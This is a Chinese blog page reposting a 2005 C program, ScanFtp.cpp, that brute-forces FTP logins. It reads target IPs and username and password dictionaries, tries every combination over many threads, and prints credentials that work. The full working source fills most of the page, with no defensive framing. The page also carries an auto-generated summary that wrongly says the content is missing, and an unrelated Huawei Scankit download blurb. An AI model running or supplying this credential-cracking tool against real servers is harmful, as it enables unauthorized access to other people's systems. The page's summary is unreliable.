扫描ftp密码的代码

博客涉及struct、socket、winapi等信息技术内容,围绕ftp服务器展开,但具体内容缺失。推测可能包含利用这些技术构建或操作ftp服务器的相关信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

文章作者:云舒     文章来源:icylife.net     发布时间:2005-04-26 09:28:07

//////////////////////////////////////////////////////////

//文件:ScanFtp.cpp

//描述:从指定文件读入IP地址和帐号密码,猜测ftp服务器密码

//作者:(http://www.icylife.net)

//日期:2005年2月18日 0.1.0版本

//修改 2005年2月22日 0.1.1版本

//修改 2005年2月24日 0.1.2版本

//////////////////////////////////////////////////////////

 

#include <stdio.h>

#include <winsock2.h>

#include <windows.h>

 

#pragma comment(lib,"ws2_32.lib")

 

#define PORT 21

#define VERSION 0.1.2

#define LEN sizeof(struct FILEDATA)

 

/////////////////////////////////////////////////////////

//定义全局变量

/////////////////////////////////////////////////////////

 

struct FILEDATA//存放帐号和密码的链表结构体

{

char dataLine[64];

struct FILEDATA *next;

};

 

struct SCANPAR//传递给Scan函数的参数结构体

{

struct FILEDATA *userHead;//帐号链表的头地址

struct FILEDATA *passHead;//密码链表的头地址

char ipNow[16];//要扫描的扫描的IP

};

 

int currentThread = 0;//当前活动线程

int maxThread = 0;//最大线程数量

char ipFile[48] = { 0 };//IP列表文件名

char *passFlag = "230";

char *userFlag = "331";

 

/////////////////////////////////////////////////////////

//定义函数原形

/////////////////////////////////////////////////////////

 

void GetPar(int , char **);//检查命令行参数

void Help(char *);//输出帮助函数

void WatchThread(void);//检测活动线程是否达到最大

void Wait2Quit(void);//等待所有线程退出函数

int WINAPI Scan(LPVOID);//处理帐号密码字典

void Crack(char * , char * , char *);//破解密码函数

struct FILEDATA *ReadDic2Memory(char *);//将帐号字典密码字典读入内存,存入链表

 

//////////////////////////////////////////////////////////

//主函数,程序入口

//////////////////////////////////////////////////////////

 

int main( int argc , char *argv[] )

{

DWORD threadID = 1;

HANDLE threadHandle = NULL;

FILE *fpIP = NULL;

WSADATA wsaData;

struct SCANPAR scanPar;

char fileName[48] = { 0 };

 

//检查并获取命令行参数

GetPar( argc , argv );

 

if( WSAStartup(MAKEWORD(2,2),&wsaData) != 0 )

{

printf( "载入Winsock失败.../n" );

return -1;

}

 

//打开IP列表文件

fpIP = fopen( ipFile , "r" );

if( fpIP == NULL )

{

printf( "打开IP列表文件失败.../n" );

return -1;

}

 

strcpy( fileName , "ftp_user.txt" );

scanPar.userHead = ReadDic2Memory( fileName );//将帐号读入内存

 

memset( fileName , 0 , sizeof(fileName) );

strcpy( fileName , "ftp_pass.txt" );

scanPar.passHead = ReadDic2Memory( fileName );//将密码读入内存

 

while( !feof(fpIP) )

{

fscanf( fpIP , "%s" , scanPar.ipNow );

 

WatchThread();

 

Sleep(20);

 

//生成新线程

threadHandle = CreateThread( NULL , 0 , (LPTHREAD_START_ROUTINE)Scan , (LPVOID)(&scanPar) , 0 , &threadID );

if( threadHandle != NULL )

{

CloseHandle(threadHandle);

currentThread ++;

threadID ++;

}

}

 

Wait2Quit();

 

fclose(fpIP);

WSACleanup();

return 0;

}

 

int WINAPI Scan(LPVOID par)

{

struct SCANPAR *scan_Par = (struct SCANPAR *)par;

struct FILEDATA *pUser = scan_Par->userHead;

struct FILEDATA *pPass = scan_Par->passHead;

 

while( pUser != NULL )

{

if( pPass == NULL )

{

pPass = scan_Par->passHead;

}

while( pPass != NULL )

{

printf("正在%s上测试%s的密码%s....../n" , scan_Par->ipNow , pUser->dataLine , pPass->dataLine );

Crack( scan_Par->ipNow , pUser->dataLine , pPass->dataLine );

 

pPass = pPass->next;

}

pUser = pUser->next;

}

 

currentThread --;

return 0;

}

 

void Crack( char *ip , char *user , char *pass )

{

SOCKET sock;

SOCKADDR_IN sin;

int flag;

int timeOut;

char recvBuffer[1024] = { 0 };

 

 

sock = socket( AF_INET , SOCK_STREAM , 0 );

if( sock == INVALID_SOCKET )

{

printf( "连接%s建立socket失败/n" ,ip);

return;

}

 

//设置超时时间

timeOut = 2000;

if( setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeOut, sizeof(timeOut)) == SOCKET_ERROR )

{

printf("连接%s设置超时失败/n" , ip );

return;

}

 

memset( &sin , 0 , sizeof(sin) );

sin.sin_family = AF_INET;

sin.sin_port = htons(PORT);

sin.sin_addr.s_addr = inet_addr(ip);

 

flag = connect( sock , (struct sockaddr *)&sin , sizeof(sin) );

if( flag == SOCKET_ERROR )

{

printf( "连接服务器%s失败/n" , ip );

closesocket(sock);

return;

}

 

flag = recv( sock , recvBuffer , sizeof(recvBuffer) , 0 );

if( flag == SOCKET_ERROR )

{

printf( "%s接受banner数据失败/n" , ip);

closesocket(sock);

return;

}

 

char userCmd[48] = { 0 };

wsprintf( userCmd , "USER %s/r/n" , user );

 

flag = send( sock , userCmd , strlen(userCmd) , 0 );

if( flag == SOCKET_ERROR )

{

printf( "%s发送帐号失败/n" , ip );

closesocket(sock);

return;

}

 

memset( recvBuffer , 0 ,sizeof(recvBuffer) );

 

flag = recv( sock , recvBuffer , sizeof(recvBuffer) , 0 );

if( flag == SOCKET_ERROR )

{

printf( "%s接受user数据失败/n" , ip );

closesocket(sock);

return;

}

 

if( strlen(recvBuffer) == 0 )

{

printf( "%s接受user数据失败/n" , ip );

closesocket(sock);

return;

}

 

if( strstr(recvBuffer , userFlag) == NULL )

{

printf( "%s用户名没能通过/n" , ip );

closesocket(sock);

return;

}

 

char passCmd[48] = { 0 };

wsprintf( passCmd , "PASS %s/r/n" , pass );

 

flag = send( sock , passCmd , strlen(passCmd) , 0 );

if( flag == SOCKET_ERROR )

{

printf( "%s发送密码失败/n" , ip );

closesocket(sock);

return;

}

 

memset( recvBuffer , 0 , sizeof(recvBuffer) );

 

flag = recv( sock , recvBuffer , sizeof(recvBuffer) , 0 );

if( flag == SOCKET_ERROR )

{

printf( "%s接受pass数据失败/n" , ip );

closesocket(sock);

return;

}

 

if( strstr(recvBuffer , passFlag) )

{

printf( "发现密码:%s/t%s/t%s/n" , ip , user , pass );

}

 

closesocket(sock);

return;

}

 

struct FILEDATA *ReadDic2Memory( char *fileName )

{

struct FILEDATA *p1 = NULL;

struct FILEDATA *p2 = NULL;

struct FILEDATA *head = NULL;

FILE *fp = NULL;

int num = 0;//节点数目

 

p1 = p2 = (struct FILEDATA *)malloc(LEN);//开辟新内存单元

if( p1 == NULL )

{

printf( "开辟新内存单元失败.../n" );

exit(-1);

}

 

fp = fopen( fileName , "r" );//打开文件句柄

if( fp == NULL )

{

printf( "打开文件%s失败.../n" , fileName );

exit(-1);

}

 

while( !feof(fp) )

{

num = num + 1;

fscanf( fp , "%s" , p1->dataLine );

 

if( num == 1 )//如果是第一个节点

{

head = p1;

}

else

{

p2->next = p1;

}

 

p2 = p1;

p1 = (struct FILEDATA *)malloc(LEN);

 

fscanf( fp , "%s" , p1->dataLine );

}

 

p2->next = NULL;

 

return head;

}

 

void GetPar( int argc , char *argv[] )

{

//检查命令行参数

if( argc != 3 )

{

Help( argv[0] );

return;

}

 

if( strlen(argv[1]) < 48 )

{

strcpy( ipFile , argv[1] );

}

else

{

printf( "IP列表文件名太长.../n" );

return;

}

 

//从命令行参数获取最大线程数

maxThread = atoi( argv[2] );

if( maxThread <= 0 )

{

printf( "最大线程数错误.../n" );

return;

}

}

 

void WatchThread()

{

while(1)

{

if( currentThread >= maxThread )

{

Sleep(10);

}

else

{

break;

}

}

}

 

void Wait2Quit()

{

while(1)

{

if( currentThread > 0 )

{

Sleep(10);

}

else

{

break;

}

}

}

 

void Help(char *program)

{

printf( "ScanFtp Version 0.1.2,Code By 云舒/n" );

printf( "Usage:%s/tIP.txt/tMaxThread/n" , program );

exit(-1);

}

资源下载链接为: https://pan.quark.cn/s/1bfadf00ae14 华为移动服务(Huawei Mobile Services,简称 HMS)是一个全面开放的移动服务生态系统,为企业和开发者提供了丰富的工具和 API,助力他们构建、运营和推广应用。其中,HMS Scankit 是华为推的一款扫描服务 SDK,支持快速集成到安卓应用中,能够提供高效且稳定的二维码和条形码扫描功能,适用于商品扫码、支付验证、信息获取等多种场景。 集成 HMS Scankit SDK 主要包括以下步骤:首先,在项目的 build.gradle 文件中添加 HMS Core 库和 Scankit 依赖;其次,在 AndroidManifest.xml 文件中添加相机访问和互联网访问权限;然后,在应用程序的 onCreate 方法中调用 HmsClient 进行初始化;接着,可以选择自定义扫描界面或使用 Scankit 提供的默认扫描界面;最后,实现 ScanCallback 接口以处理扫描成功和失败的回调。 HMS Scankit 内部集成了开源的 Zxing(Zebra Crossing)库,这是一个功能强大的条码和二维码处理库,提供了解码、生成、解析等多种功能,既可以单独使用,也可以与其他扫描框架结合使用。在 HMS Scankit 中,Zxing 经过优化,以更好地适应华为设备,从而提升扫描性能。 通常,ScanKitDemoGuide 包含了集成 HMS Scankit 的示例代码,涵盖扫描界面的布局、扫描操作的启动和停止以及扫描结果的处理等内容。开发者可以参考这些代码,快速掌握在自己的应用中实现扫码功能的方法。例如,启动扫描的方法如下: 处理扫描结果的回调如下: HMS Scankit 支持所有安卓手机,但在华为设备上能够提供最佳性能和体验,因为它针对华为硬件进行了
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值